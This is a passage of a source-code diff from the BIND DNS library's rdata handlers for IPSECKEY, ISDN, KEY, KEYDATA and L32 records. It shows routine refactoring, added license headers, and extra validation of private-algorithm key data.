+static void
 freestruct_ipseckey(ARGS_FREESTRUCT) {
 	dns_rdata_ipseckey_t *ipseckey = source;
 
@@ -435,18 +427,19 @@ freestruct_ipseckey(ARGS_FREESTRUCT) {
 	ipseckey->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_ipseckey(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_ipseckey);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_ipseckey(ARGS_DIGEST) {
 	isc_region_t region;
 
@@ -456,7 +449,7 @@ digest_ipseckey(ARGS_DIGEST) {
 	return ((digest)(arg, &region));
 }
 
-static inline bool
+static bool
 checkowner_ipseckey(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_ipseckey);
 
@@ -468,7 +461,7 @@ checkowner_ipseckey(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_ipseckey(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_ipseckey);
 
@@ -479,7 +472,7 @@ checknames_ipseckey(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_ipseckey(ARGS_COMPARE) {
 	isc_region_t region1;
 	isc_region_t region2;
diff --git a/lib/dns/rdata/generic/ipseckey_45.h b/lib/dns/rdata/generic/ipseckey_45.h
index b9e6b99385..829e9b4f44 100644
--- a/lib/dns/rdata/generic/ipseckey_45.h
+++ b/lib/dns/rdata/generic/ipseckey_45.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_IPSECKEY_45_H
-#define GENERIC_IPSECKEY_45_H 1
+#pragma once
 
 typedef struct dns_rdata_ipseckey {
 	dns_rdatacommon_t common;
@@ -24,5 +25,3 @@ typedef struct dns_rdata_ipseckey {
 	unsigned char *key;
 	uint16_t keylength;
 } dns_rdata_ipseckey_t;
-
-#endif /* GENERIC_IPSECKEY_45_H */
diff --git a/lib/dns/rdata/generic/isdn_20.c b/lib/dns/rdata/generic/isdn_20.c
index 264c7a0724..a118e63bc9 100644
--- a/lib/dns/rdata/generic/isdn_20.c
+++ b/lib/dns/rdata/generic/isdn_20.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,7 @@
 
 #define RRTYPE_ISDN_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_isdn(ARGS_FROMTEXT) {
 	isc_token_t token;
 
@@ -37,7 +39,8 @@ fromtext_isdn(ARGS_FROMTEXT) {
 	RETERR(isc_lex_getmastertoken(lexer, &token, isc_tokentype_qstring,
 				      true));
 	if (token.type != isc_tokentype_string &&
-	    token.type != isc_tokentype_qstring) {
+	    token.type != isc_tokentype_qstring)
+	{
 		isc_lex_ungettoken(lexer, &token);
 		return (ISC_R_SUCCESS);
 	}
@@ -45,7 +48,7 @@ fromtext_isdn(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_isdn(ARGS_TOTEXT) {
 	isc_region_t region;
 
@@ -63,14 +66,13 @@ totext_isdn(ARGS_TOTEXT) {
 	return (txt_totext(&region, true, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_isdn(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_isdn);
 
 	UNUSED(type);
 	UNUSED(dctx);
 	UNUSED(rdclass);
-	UNUSED(options);
 
 	RETERR(txt_fromwire(source, target));
 	if (buffer_empty(source)) {
@@ -79,7 +81,7 @@ fromwire_isdn(ARGS_FROMWIRE) {
 	return (txt_fromwire(source, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_isdn(ARGS_TOWIRE) {
 	UNUSED(cctx);
 
@@ -89,7 +91,7 @@ towire_isdn(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, rdata->data, rdata->length));
 }
 
-static inline int
+static int
 compare_isdn(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -105,7 +107,7 @@ compare_isdn(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_isdn(ARGS_FROMSTRUCT) {
 	dns_rdata_isdn_t *isdn = source;
 
@@ -126,7 +128,7 @@ fromstruct_isdn(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, isdn->subaddress, isdn->subaddress_len));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_isdn(ARGS_TOSTRUCT) {
 	dns_rdata_isdn_t *isdn = target;
 	isc_region_t r;
@@ -144,9 +146,6 @@ tostruct_isdn(ARGS_TOSTRUCT) {
 	isdn->isdn_len = uint8_fromregion(&r);
 	isc_region_consume(&r, 1);
 	isdn->isdn = mem_maybedup(mctx, r.base, isdn->isdn_len);
-	if (isdn->isdn == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
 	isc_region_consume(&r, isdn->isdn_len);
 
 	if (r.length == 0) {
@@ -157,22 +156,13 @@ tostruct_isdn(ARGS_TOSTRUCT) {
 		isc_region_consume(&r, 1);
 		isdn->subaddress = mem_maybedup(mctx, r.base,
 						isdn->subaddress_len);
-		if (isdn->subaddress == NULL) {
-			goto cleanup;
-		}
 	}
 
 	isdn->mctx = mctx;
 	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (mctx != NULL && isdn->isdn != NULL) {
-		isc_mem_free(mctx, isdn->isdn);
-	}
-	return (ISC_R_NOMEMORY);
 }
 
-static inline void
+static void
 freestruct_isdn(ARGS_FREESTRUCT) {
 	dns_rdata_isdn_t *isdn = source;
 
@@ -191,18 +181,19 @@ freestruct_isdn(ARGS_FREESTRUCT) {
 	isdn->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_isdn(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_isdn);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_isdn(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -213,7 +204,7 @@ digest_isdn(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_isdn(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_isdn);
 
@@ -225,7 +216,7 @@ checkowner_isdn(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_isdn(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_isdn);
 
@@ -236,7 +227,7 @@ checknames_isdn(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_isdn(ARGS_COMPARE) {
 	return (compare_isdn(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/isdn_20.h b/lib/dns/rdata/generic/isdn_20.h
index 9213f39aad..d18aa63287 100644
--- a/lib/dns/rdata/generic/isdn_20.h
+++ b/lib/dns/rdata/generic/isdn_20.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_ISDN_20_H
-#define GENERIC_ISDN_20_H 1
+#pragma once
 
 /*!
  * \brief Per RFC1183 */
@@ -23,5 +24,3 @@ typedef struct dns_rdata_isdn {
 	uint8_t isdn_len;
 	uint8_t subaddress_len;
 } dns_rdata_isdn_t;
-
-#endif /* GENERIC_ISDN_20_H */
diff --git a/lib/dns/rdata/generic/key_25.c b/lib/dns/rdata/generic/key_25.c
index 5867beee35..d1ab0ad030 100644
--- a/lib/dns/rdata/generic/key_25.c
+++ b/lib/dns/rdata/generic/key_25.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -29,7 +31,7 @@
  *     DNSKEY - RFC 4034
  *     RKEY - draft-reid-dnsext-rkey-00
  */
-static inline bool
+static bool
 generic_key_nokey(dns_rdatatype_t type, unsigned int flags) {
 	switch (type) {
 	case dns_rdatatype_cdnskey:
@@ -42,12 +44,13 @@ generic_key_nokey(dns_rdatatype_t type, unsigned int flags) {
 	}
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_fromtext_key(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_secalg_t alg;
 	dns_secproto_t proto;
 	dns_keyflags_t flags;
+	unsigned int used;
 
 	UNUSED(rdclass);
 	UNUSED(origin);
@@ -80,10 +83,31 @@ generic_fromtext_key(ARGS_FROMTEXT) {
 		return (ISC_R_SUCCESS);
 	}
 
-	return (isc_base64_tobuffer(lexer, target, -2));
+	/*
+	 * Save the current used value. It will become the current
+	 * value when we parse the keydata field.
+	 */
+	used = isc_buffer_usedlength(target);
+
+	RETERR(isc_base64_tobuffer(lexer, target, -2));
+
+	if (alg == DNS_KEYALG_PRIVATEDNS || alg == DNS_KEYALG_PRIVATEOID) {
+		isc_buffer_t b;
+
+		/*
+		 * Set up 'b' so that the key data can be parsed.
+		 */
+		b = *target;
+		b.active = b.used;
+		b.current = used;
+
+		RETERR(check_private(&b, alg));
+	}
+
+	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_totext_key(ARGS_TOTEXT) {
 	isc_region_t sr;
 	char buf[sizeof("[key id = 64000]")];
@@ -137,6 +161,19 @@ generic_totext_key(ARGS_TOTEXT) {
 		dns_name_init(&name, NULL);
 		dns_name_fromregion(&name, &sr);
 		dns_name_format(&name, algbuf, sizeof(algbuf));
+	} else if ((tctx->flags & DNS_STYLEFLAG_RRCOMMENT) != 0 &&
+		   algorithm == DNS_KEYALG_PRIVATEOID)
+	{
+		const unsigned char *in = sr.base;
+		ASN1_OBJECT *obj = d2i_ASN1_OBJECT(NULL, &in, sr.length);
+		int n;
+		INSIST(obj != NULL);
+		n = i2t_ASN1_OBJECT(algbuf, sizeof(buf), obj);
+		ASN1_OBJECT_free(obj);
+		if (n == -1 || (size_t)n >= sizeof(algbuf)) {
+			dns_secalg_format((dns_secalg_t)algorithm, algbuf,
+					  sizeof(algbuf));
+		}
 	} else {
 		dns_secalg_format((dns_secalg_t)algorithm, algbuf,
 				  sizeof(algbuf));
@@ -174,7 +211,8 @@ generic_totext_key(ARGS_TOTEXT) {
 
 	if ((tctx->flags & DNS_STYLEFLAG_RRCOMMENT) != 0) {
 		if (rdata->type == dns_rdatatype_dnskey ||
-		    rdata->type == dns_rdatatype_cdnskey) {
+		    rdata->type == dns_rdatatype_cdnskey)
+		{
 			RETERR(str_totext(" ; ", target));
 			RETERR(str_totext(keyinfo, target));
 		}
@@ -188,7 +226,7 @@ generic_totext_key(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_fromwire_key(ARGS_FROMWIRE) {
 	unsigned char algorithm;
 	uint16_t flags;
@@ -196,7 +234,6 @@ generic_fromwire_key(ARGS_FROMWIRE) {
 
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 	if (sr.length < 4) {
@@ -220,11 +257,11 @@ generic_fromwire_key(ARGS_FROMWIRE) {
 		return (ISC_R_UNEXPECTEDEND);
 	}
 
-	if (algorithm == DNS_KEYALG_PRIVATEDNS) {
-		dns_name_t name;
-		dns_decompress_setmethods(dctx, DNS_COMPRESS_NONE);
-		dns_name_init(&name, NULL);
-		RETERR(dns_name_fromwire(&name, source, dctx, options, target));
+	if (algorithm == DNS_KEYALG_PRIVATEDNS ||
+	    algorithm == DNS_KEYALG_PRIVATEOID)
+	{
+		isc_buffer_t b = *source;
+		RETERR(check_private(&b, algorithm));
 	}
 
 	isc_buffer_activeregion(source, &sr);
@@ -232,14 +269,14 @@ generic_fromwire_key(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromtext_key(ARGS_FROMTEXT) {
 	REQUIRE(type == dns_rdatatype_key);
 
 	return (generic_fromtext_key(CALL_FROMTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_key(ARGS_TOTEXT) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_key);
@@ -247,14 +284,14 @@ totext_key(ARGS_TOTEXT) {
 	return (generic_totext_key(CALL_TOTEXT));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_key(ARGS_FROMWIRE) {
 	REQUIRE(type == dns_rdatatype_key);
 
 	return (generic_fromwire_key(CALL_FROMWIRE));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_key(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -268,7 +305,7 @@ towire_key(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_key(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -286,7 +323,7 @@ compare_key(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_fromstruct_key(ARGS_FROMSTRUCT) {
 	dns_rdata_key_t *key = source;
 
@@ -314,13 +351,13 @@ generic_fromstruct_key(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, key->data, key->datalen));
 }
 
-static inline isc_result_t
+static isc_result_t
 generic_tostruct_key(ARGS_TOSTRUCT) {
 	dns_rdata_key_t *key = target;
 	isc_region_t sr;
 
 	REQUIRE(key != NULL);
-	REQUIRE(rdata->length != 0);
+	REQUIRE(rdata->length >= 4U);
 
 	REQUIRE(key != NULL);
 	REQUIRE(key->common.rdclass == rdata->rdclass);
@@ -330,38 +367,25 @@ generic_tostruct_key(ARGS_TOSTRUCT) {
 	dns_rdata_toregion(rdata, &sr);
 
 	/* Flags */
-	if (sr.length < 2) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	key->flags = uint16_fromregion(&sr);
 	isc_region_consume(&sr, 2);
 
 	/* Protocol */
-	if (sr.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	key->protocol = uint8_fromregion(&sr);
 	isc_region_consume(&sr, 1);
 
 	/* Algorithm */
-	if (sr.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
-	}
 	key->algorithm = uint8_fromregion(&sr);
 	isc_region_consume(&sr, 1);
 
 	/* Data */
 	key->datalen = sr.length;
 	key->data = mem_maybedup(mctx, sr.base, key->datalen);
-	if (key->data == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	key->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 generic_freestruct_key(ARGS_FREESTRUCT) {
 	dns_rdata_key_t *key = (dns_rdata_key_t *)source;
 
@@ -377,14 +401,14 @@ generic_freestruct_key(ARGS_FREESTRUCT) {
 	key->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_key(ARGS_FROMSTRUCT) {
 	REQUIRE(type == dns_rdatatype_key);
 
 	return (generic_fromstruct_key(CALL_FROMSTRUCT));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_key(ARGS_TOSTRUCT) {
 	dns_rdata_key_t *key = target;
 
@@ -399,7 +423,7 @@ tostruct_key(ARGS_TOSTRUCT) {
 	return (generic_tostruct_key(CALL_TOSTRUCT));
 }
 
-static inline void
+static void
 freestruct_key(ARGS_FREESTRUCT) {
 	dns_rdata_key_t *key = (dns_rdata_key_t *)source;
 
@@ -409,19 +433,20 @@ freestruct_key(ARGS_FREESTRUCT) {
 	generic_freestruct_key(source);
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_key(ARGS_ADDLDATA) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_key);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_key(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -433,7 +458,7 @@ digest_key(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_key(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_key);
 
@@ -445,7 +470,7 @@ checkowner_key(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_key(ARGS_CHECKNAMES) {
 	REQUIRE(rdata != NULL);
 	REQUIRE(rdata->type == dns_rdatatype_key);
@@ -457,7 +482,7 @@ checknames_key(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_key(ARGS_COMPARE) {
 	return (compare_key(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/key_25.h b/lib/dns/rdata/generic/key_25.h
index 9b2678fbd9..47024345dd 100644
--- a/lib/dns/rdata/generic/key_25.h
+++ b/lib/dns/rdata/generic/key_25.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_KEY_25_H
-#define GENERIC_KEY_25_H 1
+#pragma once
 
 /*!
  * \brief Per RFC2535 */
@@ -24,5 +25,3 @@ typedef struct dns_rdata_key {
 	uint16_t datalen;
 	unsigned char *data;
 } dns_rdata_key_t;
-
-#endif /* GENERIC_KEY_25_H */
diff --git a/lib/dns/rdata/generic/keydata_65533.c b/lib/dns/rdata/generic/keydata_65533.c
index 27eb20c026..b6b21e7c95 100644
--- a/lib/dns/rdata/generic/keydata_65533.c
+++ b/lib/dns/rdata/generic/keydata_65533.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,7 +21,7 @@
 
 #define RRTYPE_KEYDATA_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_keydata(ARGS_FROMTEXT) {
 	isc_token_t token;
 	dns_secalg_t alg;
@@ -71,6 +73,11 @@ fromtext_keydata(ARGS_FROMTEXT) {
 	RETTOK(dns_secalg_fromtext(&alg, &token.value.as_textregion));
 	RETERR(mem_tobuffer(target, &alg, 1));
 
+	/* Do we have a placeholder KEYDATA record? */
+	if (flags == 0 && proto == 0 && alg == 0) {
+		return (ISC_R_SUCCESS);
+	}
+
 	/* No Key? */
 	if ((flags & 0xc000) == 0xc000) {
 		return (ISC_R_SUCCESS);
@@ -79,12 +86,12 @@ fromtext_keydata(ARGS_FROMTEXT) {
 	return (isc_base64_tobuffer(lexer, target, -2));
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_keydata(ARGS_TOTEXT) {
 	isc_region_t sr;
 	char buf[sizeof("64000")];
 	unsigned int flags;
-	unsigned char algorithm;
+	unsigned char proto, algorithm;
 	unsigned long refresh, add, deltime;
 	char algbuf[DNS_NAME_FORMATSIZE];
 	const char *keyinfo;
@@ -132,7 +139,8 @@ totext_keydata(ARGS_TOTEXT) {
 	}
 
 	/* protocol */
-	snprintf(buf, sizeof(buf), "%u", sr.base[0]);
+	proto = sr.base[0];
+	snprintf(buf, sizeof(buf), "%u", proto);
 	isc_region_consume(&sr, 1);
 	RETERR(str_totext(buf, target));
 	RETERR(str_totext(" ", target));
@@ -143,6 +151,14 @@ totext_keydata(ARGS_TOTEXT) {
 	isc_region_consume(&sr, 1);
 	RETERR(str_totext(buf, target));
 
+	/* Do we have a placeholder KEYDATA record? */
+	if (flags == 0 && proto == 0 && algorithm == 0) {
+		if ((tctx->flags & DNS_STYLEFLAG_RRCOMMENT) != 0) {
+			RETERR(str_totext(" ; placeholder", target));
+		}
+		return (ISC_R_SUCCESS);
+	}
+
 	/* No Key? */
 	if ((flags & 0xc000) == 0xc000) {
 		return (ISC_R_SUCCESS);
@@ -191,9 +207,7 @@ totext_keydata(ARGS_TOTEXT) {
 		RETERR(str_totext(buf, target));
 
 		if ((tctx->flags & DNS_STYLEFLAG_MULTILINE) != 0) {
-			isc_stdtime_t now;
-
-			isc_stdtime_get(&now);
+			isc_stdtime_t now = isc_stdtime_now();
 
 			RETERR(str_totext(tctx->linebreak, target));
 			RETERR(str_totext("; next refresh: ", target));
@@ -233,7 +247,7 @@ totext_keydata(ARGS_TOTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_keydata(ARGS_FROMWIRE) {
 	isc_region_t sr;
 
@@ -242,14 +256,13 @@ fromwire_keydata(ARGS_FROMWIRE) {
 	UNUSED(type);
 	UNUSED(rdclass);
 	UNUSED(dctx);
-	UNUSED(options);
 
 	isc_buffer_activeregion(source, &sr);
 	isc_buffer_forward(source, sr.length);
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_keydata(ARGS_TOWIRE) {
 	isc_region_t sr;
 
@@ -261,7 +274,7 @@ towire_keydata(ARGS_TOWIRE) {
 	return (mem_tobuffer(target, sr.base, sr.length));
 }
 
-static inline int
+static int
 compare_keydata(ARGS_COMPARE) {
 	isc_region_t r1;
 	isc_region_t r2;
@@ -275,7 +288,7 @@ compare_keydata(ARGS_COMPARE) {
 	return (isc_region_compare(&r1, &r2));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromstruct_keydata(ARGS_FROMSTRUCT) {
 	dns_rdata_keydata_t *keydata = source;
 
@@ -309,7 +322,7 @@ fromstruct_keydata(ARGS_FROMSTRUCT) {
 	return (mem_tobuffer(target, keydata->data, keydata->datalen));
 }
 
-static inline isc_result_t
+static isc_result_t
 tostruct_keydata(ARGS_TOSTRUCT) {
 	dns_rdata_keydata_t *keydata = target;
 	isc_region_t sr;
@@ -325,42 +338,48 @@ tostruct_keydata(ARGS_TOSTRUCT) {
 
 	/* Refresh timer */
 	if (sr.length < 4) {
-		return (ISC_R_UNEXPECTEDEND);
+		/* Not KEYDATA */
+		return (ISC_R_NOTIMPLEMENTED);
 	}
 	keydata->refresh = uint32_fromregion(&sr);
 	isc_region_consume(&sr, 4);
 
 	/* Add hold-down */
 	if (sr.length < 4) {
-		return (ISC_R_UNEXPECTEDEND);
+		/* Not KEYDATA */
+		return (ISC_R_NOTIMPLEMENTED);
 	}
 	keydata->addhd = uint32_fromregion(&sr);
 	isc_region_consume(&sr, 4);
 
 	/* Remove hold-down */
 	if (sr.length < 4) {
-		return (ISC_R_UNEXPECTEDEND);
+		/* Not KEYDATA */
+		return (ISC_R_NOTIMPLEMENTED);
 	}
 	keydata->removehd = uint32_fromregion(&sr);
 	isc_region_consume(&sr, 4);
 
 	/* Flags */
 	if (sr.length < 2) {
-		return (ISC_R_UNEXPECTEDEND);
+		/* Not KEYDATA */
+		return (ISC_R_NOTIMPLEMENTED);
 	}
 	keydata->flags = uint16_fromregion(&sr);
 	isc_region_consume(&sr, 2);
 
 	/* Protocol */
 	if (sr.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
+		/* Not KEYDATA */
+		return (ISC_R_NOTIMPLEMENTED);
 	}
 	keydata->protocol = uint8_fromregion(&sr);
 	isc_region_consume(&sr, 1);
 
 	/* Algorithm */
 	if (sr.length < 1) {
-		return (ISC_R_UNEXPECTEDEND);
+		/* Not KEYDATA */
+		return (ISC_R_NOTIMPLEMENTED);
 	}
 	keydata->algorithm = uint8_fromregion(&sr);
 	isc_region_consume(&sr, 1);
@@ -368,15 +387,11 @@ tostruct_keydata(ARGS_TOSTRUCT) {
 	/* Data */
 	keydata->datalen = sr.length;
 	keydata->data = mem_maybedup(mctx, sr.base, keydata->datalen);
-	if (keydata->data == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
 	keydata->mctx = mctx;
 	return (ISC_R_SUCCESS);
 }
 
-static inline void
+static void
 freestruct_keydata(ARGS_FREESTRUCT) {
 	dns_rdata_keydata_t *keydata = (dns_rdata_keydata_t *)source;
 
@@ -393,18 +408,19 @@ freestruct_keydata(ARGS_FREESTRUCT) {
 	keydata->mctx = NULL;
 }
 
-static inline isc_result_t
+static isc_result_t
 additionaldata_keydata(ARGS_ADDLDATA) {
 	REQUIRE(rdata->type == dns_rdatatype_keydata);
 
 	UNUSED(rdata);
+	UNUSED(owner);
 	UNUSED(add);
 	UNUSED(arg);
 
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 digest_keydata(ARGS_DIGEST) {
 	isc_region_t r;
 
@@ -415,7 +431,7 @@ digest_keydata(ARGS_DIGEST) {
 	return ((digest)(arg, &r));
 }
 
-static inline bool
+static bool
 checkowner_keydata(ARGS_CHECKOWNER) {
 	REQUIRE(type == dns_rdatatype_keydata);
 
@@ -427,7 +443,7 @@ checkowner_keydata(ARGS_CHECKOWNER) {
 	return (true);
 }
 
-static inline bool
+static bool
 checknames_keydata(ARGS_CHECKNAMES) {
 	REQUIRE(rdata->type == dns_rdatatype_keydata);
 
@@ -438,7 +454,7 @@ checknames_keydata(ARGS_CHECKNAMES) {
 	return (true);
 }
 
-static inline int
+static int
 casecompare_keydata(ARGS_COMPARE) {
 	return (compare_keydata(rdata1, rdata2));
 }
diff --git a/lib/dns/rdata/generic/keydata_65533.h b/lib/dns/rdata/generic/keydata_65533.h
index a854d5e31c..598b31b694 100644
--- a/lib/dns/rdata/generic/keydata_65533.h
+++ b/lib/dns/rdata/generic/keydata_65533.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef GENERIC_KEYDATA_65533_H
-#define GENERIC_KEYDATA_65533_H 1
+#pragma once
 
 typedef struct dns_rdata_keydata {
 	dns_rdatacommon_t common;
@@ -24,5 +25,3 @@ typedef struct dns_rdata_keydata {
 	uint16_t datalen;
 	unsigned char *data;
 } dns_rdata_keydata_t;
-
-#endif /* GENERIC_KEYDATA_65533_H */
diff --git a/lib/dns/rdata/generic/l32_105.c b/lib/dns/rdata/generic/l32_105.c
index b887285eb5..616a5a3032 100644
--- a/lib/dns/rdata/generic/l32_105.c
+++ b/lib/dns/rdata/generic/l32_105.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -18,7 +20,7 @@
 
 #define RRTYPE_L32_ATTRIBUTES (0)
 
-static inline isc_result_t
+static isc_result_t
 fromtext_l32(ARGS_FROMTEXT) {
 	isc_token_t token;
 	struct in_addr addr;
@@ -54,7 +56,7 @@ fromtext_l32(ARGS_FROMTEXT) {
 	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
+static isc_result_t
 totext_l32(ARGS_TOTEXT) {
 	isc_region_t region;
 	char buf[sizeof("65000")];
@@ -76,14 +78,13 @@ totext_l32(ARGS_TOTEXT) {
 	return (inet_totext(AF_INET, tctx->flags, &region, target));
 }
 
-static inline isc_result_t
+static isc_result_t
 fromwire_l32(ARGS_FROMWIRE) {
 	isc_region_t sregion;
 
 	REQUIRE(type == dns_rdatatype_l32);
 
 	UNUSED(type);
-	UNUSED(options);
 	UNUSED(rdclass);
 	UNUSED(dctx);
 
@@ -95,7 +96,7 @@ fromwire_l32(ARGS_FROMWIRE) {
 	return (mem_tobuffer(target, sregion.base, sregion.length));
 }
 
-static inline isc_result_t
+static isc_result_t
 towire_l32(ARGS_TOWIRE) {
 	REQUIRE(rdata->type == dns_rdatatype_l32);
 	REQUIRE(rdata->length == 6);
@@ -105,7 +106,7 @@ towire_l32(ARGS_TOWIRE) {
